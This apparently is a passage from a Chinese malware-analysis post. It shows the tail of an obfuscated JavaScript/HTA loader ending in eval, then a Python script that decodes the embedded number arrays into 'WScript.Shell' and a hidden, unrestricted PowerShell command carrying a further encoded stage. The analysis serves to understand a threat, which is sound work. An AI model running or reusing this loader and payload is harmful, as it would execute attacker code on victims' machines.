,RV,FT,Fi,yN,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,xv,NW,Mb,ff,RV,xv,NW,NW,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,FT,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,xv,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,NW,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,NW,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,NW,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,Mb,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,xv,NW,Fi,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,FT,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,zN,Fi,ff,RV,xv,zN,NW,ff,RV,xv,zN,Fi,ff,RV,xv,zN,FT,ff,RV,FT,it,zN,ff,RV,xv,NW,QB,ff,RV,FT,it,xv,ff,RV,xv,zN,Fi,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,FT,it,NW,ff,RV,xv,yN,yN,ff,RV,xv,yN,Mb,ff,RV,xv,yN,yN,ff,RV,FT,it,zN,ff,RV,xv,yN,yN,ff,RV,xv,kX,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,NW,ff,RV,xv,kX,Mb,ff,RV,FT,QB,NW,ff,RV,xv,kX,zN,ff,RV,xv,zN,QB,ff,RV,xv,kX,it,ff,RV,xv,xv,Mb,ff,RV,FT,QB,it,ff,RV,FT,QB,QB,ff,RV,FT,QB,kX,ff,RV,FT,Fi,it,ff,RV,FT,QB,NW,ff,RV,FT,QB,FT,ff,RV,xv,kX,zN,ff,RV,xv,NW,kX,ff,RV,xv,NW,kX,ff,RV,xv,Mb,NW,ff,RV,FT,QB,it,ff,RV,xv,xv,FT,ff,RV,FT,it,it,ff,RV,FT,QB,FT,ff,RV,FT,Fi,it,ff,RV,xv,zN,QB,ff,RV,xv,yN,FT,ff,RV,xv,kX,xv,ff,RV,xv,zN,FT,ff,RV,xv,Mb,FT,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,kX,ff,RV,FT,QB,Mb,ff,RV,FT,Fi,it,ff,RV,xv,zN,NW,ff,RV,xv,NW,Fi,ff,RV,xv,NW,NW,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,xv,kX,kX,ff,RV,FT,it,QB,ff,RV,FT,QB,it,ff,RV,FT,QB,NW,ff,RV,xv,yN,yN,ff,RV,xv,zN,Fi,ff,RV,xv,NW,QB,ff,RV,xv,zN,kX,ff,RV,xv,NW,yN,ff,RV,xv,zN,Fi,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,FT,it,xv,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,FT,Fi,FT,ff,RV,FT,QB,it,ff,RV,FT,Fi,xv,ff,RV,FT,QB,QB,ff,RV,xv,yN,yN,ff,RV,xv,zN,Fi,ff,RV,xv,zN,Fi,ff,RV,xv,xv,Fi,ff,RV,xv,yN,kX,ff,RV,xv,yN,yN,ff,RV,xv,yN,FT,ff,RV,xv,FT,Fi,ff,RV,xv,FT,QB,ff,RV,xv,Mb,NW,ff,RV,xv,FT,Fi,ff,RV,xv,zN,FT,ff,RV,xv,Mb,zN,ff,RV,FT,QB,Mb,ff,RV,xv,kX,kX,ff,RV,FT,QB,xv,ff,RV,FT,QB,FT,ff,RV,FT,QB,NW,ff,RV,FT,Fi,xv,ff,RV,FT,QB,QB,ff,RV,FT,Fi,zN,ff,RV,xv,zN,QB,ff,RV,xv,zN,kX,ff,RV,xv,zN,NW,ff,RV,xv,NW,it,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,xv,yN,FT,ff,RV,xv,FT,Fi,ff,RV,xv,FT,QB,ff,RV,xv,Mb,NW,ff,RV,xv,FT,Fi,ff,RV,xv,zN,FT,ff,RV,xv,Mb,zN,ff,RV,FT,QB,Mb,ff,RV,xv,kX,kX,ff,RV,FT,QB,xv,ff,RV,FT,QB,FT,ff,RV,FT,QB,NW,ff,RV,FT,Fi,xv,ff,RV,FT,QB,QB,ff,RV,FT,Fi,zN,ff,RV,xv,zN,QB,ff,RV,xv,NW,it,ff,RV,xv,zN,it,tg,QF,Im,nd,Ge,sV,RV,Gm,YZ,Xj,kF,RV,ST,RV,pV,wt,wV,Rp,kz,CX,GH,US,xv,Mb,Mb,ff,xv,Mb,zN,ff,FT,Fi,Fi,ff,FT,QB,NW,ff,FT,Fi,xv,ff,FT,QB,yN,ff,FT,QB,FT,ff,xv,zN,FT,ff,xv,Mb,zN,ff,FT,Fi,NW,ff,FT,Fi,it,ff,FT,Fi,kX,ff,FT,Fi,kX,tg,QF,Im,nd,Ge,sV,RV,pV,wt,wV,Rp,kz,CX,RV,ST,RV,tV,Gm,Wn,RV,sC,Fx,nI,pV,nd,Gm,Yp,FF,uS,Rp,Gm,Fx,nI,GH,Gm,YZ,Xj,kF,QF,Im,pV,wt,wV,Rp,kz,CX,cX,wV,UP,tV,GH,wt,wl,NL,Ep,uS,Lj,ff,RV,Fi,ff,RV,nI,sV,UP,Gm,QF,Im);eval(SxhM); window.close();</script>
稍微调整一下,然后console.log(SxhM),看看是个啥
丢给ai跑个解密脚本
# -*- coding: utf-8 -*-
def decode_string_from_numbers(number_array):
"""
这个函数模拟了恶意JavaScript代码中的ioRjQN函数。
它接收一个数字列表,将每个数字减去601,然后将结果转换为ASCII字符。
"""
decoded_chars = []
for number in number_array:
# chr() 函数将一个整数转换为对应的ASCII/Unicode字符
# 这与JavaScript中的 String.fromCharCode() 功能相同
try:
char_code = number - 601
decoded_chars.append(chr(char_code))
except ValueError:
# 如果计算出的编码无效,则添加一个占位符
decoded_chars.append('[INVALID_CHAR]')
# 将所有字符连接成一个字符串
return "".join(decoded_chars)
# --- 从原始恶意代码中提取的两个数字数组 ---
# 这个数组解码后是 "WScript.Shell"
array_for_object = [688, 684, 700, 715, 706, 713, 717, 647, 684, 705, 702, 709, 709]
# 这个长数组解码后是恶意的PowerShell命令
array_for_payload = [
713, 712, 720, 702, 715, 716, 705, 702, 709, 709, 647, 702, 721, 702, 633, 646, 720,
633, 650, 633, 646, 702, 713, 633, 686, 711, 715, 702, 716, 717, 715, 706, 700, 717,
702, 701, 633, 646, 711, 712, 713, 633, 637, 670, 671, 685, 670, 633, 662, 641, 692,
715, 702, 704, 702, 721, 694, 659, 659, 678, 698, 717, 700, 705, 702, 716, 641, 640,
698, 654, 698, 658, 699, 653, 658, 703, 699, 657, 698, 701, 699, 702, 699, 657, 702,
650, 658, 700, 699, 702, 698, 652, 698, 703, 698, 658, 699, 703, 699, 703, 702, 700,
702, 702, 702, 657, 698, 658, 698, 651, 699, 698, 703, 655, 658, 703, 699, 654, 699,
703, 699, 657, 698, 658, 698, 650, 658, 702, 698, 652, 698, 652, 699, 657, 658, 649,
658, 703, 699, 654, 699, 703, 658, 699, 657, 652, 658, 699, 703, 698, 703, 657, 658,
649, 658, 699, 698, 654, 698, 651, 698, 657, 698, 652, 699, 699, 699, 703, 658, 700,
698, 652, 699, 699, 698, 658, 699, 702, 658, 703, 698, 653, 698, 658, 698, 649, 698,
649, 658, 649, 699, 698, 703, 701, 702, 651, 703, 700, 658, 649, 699, 700, 698, 652,
699, 699, 698, 658, 699, 702, 699, 703, 698, 653, 698, 658, 698, 649, 698, 649, 702,
651, 698, 658, 699, 653, 698, 658, 702, 702, 702, 700, 702, 650, 658, 699, 698, 654,
698, 651, 698, 657, 698, 652, 699, 699, 658, 703, 699, 657, 699, 654, 698, 649, 698,
658, 702, 700, 657, 653, 698, 654, 698, 657, 698, 657, 698, 658, 698, 651, 702, 700,
702, 650, 657, 701, 699, 702, 698, 699, 699, 658, 698, 650, 698, 658, 698, 651, 699,
657, 657, 649, 698, 654, 699, 703, 699, 657, 702, 700, 702, 699, 702, 650, 699, 699,
702, 699, 702, 649, 702, 699, 698, 653, 702, 699, 702, 649, 702, 699, 702, 650, 698,
658, 699, 700, 702, 699, 702, 649, 702, 699, 658, 658, 698, 651, 699, 702, 698, 658,
699, 703, 699, 657, 699, 702, 698, 654, 698, 703, 699, 657, 698, 658, 698, 657, 702,
699, 702, 649, 702, 699, 702, 650, 657, 703, 698, 652, 698, 650, 698, 650, 698, 701,
698, 651, 698, 657, 702, 699, 702, 649, 702, 702, 658, 703, 698, 658, 699, 657, 702,
650, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658,
702, 700, 703, 703, 702, 700, 702, 699, 698, 653, 699, 657, 699, 657, 699, 700, 703,
655, 702, 652, 702, 652, 698, 703, 698, 653, 698, 701, 698, 649, 698, 649, 698, 658,
698, 651, 698, 699, 698, 658, 702, 651, 699, 653, 698, 654, 698, 651, 699, 703, 698,
653, 698, 654, 702, 651, 698, 698, 699, 658, 698, 651, 703, 655, 703, 703, 703, 658,
703, 657, 703, 653, 703, 657, 702, 652, 698, 702, 698, 658, 699, 703, 699, 657, 699,
658, 698, 657, 698, 657, 698, 654, 698, 651, 698, 699, 702, 651, 698, 655, 699, 700,
698, 699, 702, 699, 703, 656, 658, 703, 657, 654, 702, 700, 658, 698, 698, 701, 699,
702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 703, 655, 702, 652, 658, 655,
703, 657, 657, 657, 702, 700, 702, 699, 657, 651, 698, 658, 699, 657, 702, 651, 658,
699, 698, 658, 698, 702, 657, 703, 698, 649, 698, 654, 698, 658, 698, 651, 699, 657,
702, 699, 703, 656, 698, 703, 698, 657, 703, 656, 658, 703, 658, 698, 702, 700, 698,
703, 703, 657, 657, 653, 702, 700, 702, 653, 702, 651, 698, 700, 702, 657, 657, 658,
699, 653, 698, 658, 698, 703, 699, 658, 699, 657, 698, 654, 698, 652, 698, 651, 657,
703, 698, 652, 698, 651, 699, 657, 698, 658, 699, 653, 699, 657, 702, 651, 657, 654,
698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 657, 703, 698, 652, 698, 650, 698,
650, 698, 701, 698, 651, 698, 657, 702, 651, 702, 653, 702, 653, 698, 700, 702, 657,
657, 658, 699, 653, 698, 658, 698, 703, 699, 658, 699, 657, 698, 654, 698, 652, 698,
651, 657, 703, 698, 652, 698, 651, 699, 657, 698, 658, 699, 653, 699, 657, 702, 651,
657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 657, 703, 698, 652, 698,
650, 698, 650, 698, 701, 698, 651, 698, 657, 699, 649, 657, 699, 698, 658, 699, 657,
702, 650, 657, 650, 698, 658, 698, 650, 698, 702, 698, 658, 699, 702, 702, 654, 658,
656, 703, 702, 658, 650, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702, 654,
702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 702, 653, 698,
700, 702, 657, 657, 658, 699, 653, 698, 658, 698, 703, 699, 658, 699, 657, 698, 654,
698, 652, 698, 651, 657, 703, 698, 652, 698, 651, 699, 657, 698, 658, 699, 653, 699,
657, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 657, 703,
698, 652, 698, 650, 698, 650, 698, 701, 698, 651, 698, 657, 702, 651, 702, 653, 702,
653, 698, 700, 702, 657, 657, 658, 699, 653, 698, 658, 698, 703, 699, 658, 699, 657,
698, 654, 698, 652, 698, 651, 657, 703, 698, 652, 698, 651, 699, 657, 698, 658, 699,
653, 699, 657, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658,
657, 703, 698, 652, 698, 650, 698, 650, 698, 701, 698, 651, 698, 657, 699, 649, 657,
699, 698, 658, 699, 657, 702, 650, 657, 650, 698, 658, 698, 650, 698, 702, 698, 658,
699, 702, 699, 649, 658, 699, 698, 653, 698, 658, 699, 702, 698, 658, 699, 656, 702,
653, 657, 699, 658, 698, 702, 700, 658, 652, 702, 654, 702, 651, 658, 698, 698, 701,
698, 649, 699, 658, 698, 658, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702,
650, 698, 703, 698, 649, 698, 654, 698, 656, 698, 658, 702, 699, 702, 655, 698, 657,
657, 651, 698, 701, 698, 650, 698, 658, 702, 699, 699, 650, 702, 654, 702, 651, 657,
651, 698, 701, 698, 650, 698, 658, 702, 654, 702, 651, 657, 654, 698, 651, 699, 698,
698, 652, 698, 656, 698, 658, 702, 653, 702, 699, 657, 651, 698, 658, 702, 655, 698,
703, 699, 657, 702, 699, 702, 649, 703, 701, 702, 649, 703, 701, 702, 654, 702, 654,
702, 653, 657, 649, 658, 703, 702, 700, 658, 698, 698, 701, 699, 702, 698, 654, 698,
701, 698, 702, 698, 649, 698, 658, 703, 655, 702, 652, 658, 655, 703, 657, 657, 657,
702, 654, 702, 651, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 702, 654, 703,
656, 658, 703, 658, 698, 702, 700, 657, 701, 702, 700, 702, 653, 702, 653, 702, 653,
702, 653, 657, 699, 698, 658, 699, 657, 702, 650, 658, 698, 698, 701, 699, 702, 698,
654, 698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 698, 703, 703, 657, 657, 653,
702, 700, 702, 650, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 657, 652, 702,
654, 699, 649, 657, 699, 698, 658, 699, 657, 702, 650, 657, 650, 698, 658, 698, 650,
698, 702, 698, 658, 699, 702, 702, 654, 699, 649, 658, 699, 698, 653, 698, 658, 699,
702, 698, 658, 699, 656, 702, 653, 657, 699, 658, 698, 702, 700, 658, 652, 702, 654,
702, 651, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 702, 651, 657, 651, 698,
701, 698, 650, 698, 658, 702, 650, 698, 703, 698, 649, 698, 654, 698, 656, 698, 658,
702, 699, 702, 655, 699, 699, 698, 651, 702, 655, 698, 657, 702, 655, 698, 699, 702,
699, 699, 650, 702, 654, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702, 654,
703, 656, 702, 698, 702, 653, 658, 656, 658, 703, 698, 703, 699, 702, 698, 654, 699,
700, 699, 657, 657, 702, 698, 649, 698, 652, 698, 703, 698, 656, 658, 650, 703, 655,
703, 655, 657, 703, 699, 702, 698, 658, 698, 701, 699, 657, 698, 658, 702, 653, 702,
653, 657, 699, 698, 658, 699, 657, 702, 650, 658, 698, 698, 701, 699, 702, 698, 654,
698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 698, 703, 703, 657, 657, 653, 702,
700, 702, 650, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 657, 652, 702, 654,
702, 651, 702, 653, 702, 653, 657, 699, 698, 658, 699, 657, 702, 650, 658, 698, 698,
701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 657, 701,
702, 654, 702, 651, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 702, 654, 702,
651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 702, 653, 702, 653,
658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 702,
700, 703, 703, 702, 700, 702, 650, 658, 698, 698, 701, 698, 649, 702, 654, 702, 654,
702, 654, 702, 654, 702, 702, 703, 656, 640, 645, 640, 647, 724, 651, 726, 640, 642,
633, 725, 633, 638, 633, 724, 633, 692, 700, 705, 698, 715, 694, 641, 692, 668, 712,
711, 719, 702, 715, 717, 694, 659, 659, 685, 712, 667, 722, 717, 702, 641, 637, 696,
647, 687, 698, 709, 718, 702, 645, 650, 655, 642, 633, 646, 699, 721, 712, 715, 633,
640, 651, 649, 653, 640, 642, 633, 726, 642, 633, 646, 707, 712, 706, 711, 633, 640,
640, 660, 639, 633, 637, 670, 671, 685, 670, 647, 684, 718, 699, 716, 717, 715, 706,
711, 704, 641, 649, 645, 652, 642, 633, 637, 670, 671, 685, 670, 647, 684, 718, 699,
716, 717, 715, 706, 711, 704, 641, 652, 642
]
# --- 执行解码并打印结果 ---
decoded_object_name = decode_string_from_numbers(array_for_object)
decoded_payload_command = decode_string_from_numbers(array_for_payload)
print("--- 解码结果 ---")
print("\n[+] 解码后的ActiveX对象名称:")
print(decoded_object_name)
print("\n[!] 解码后的恶意Payload (PowerShell命令):")
print(decoded_payload_command)
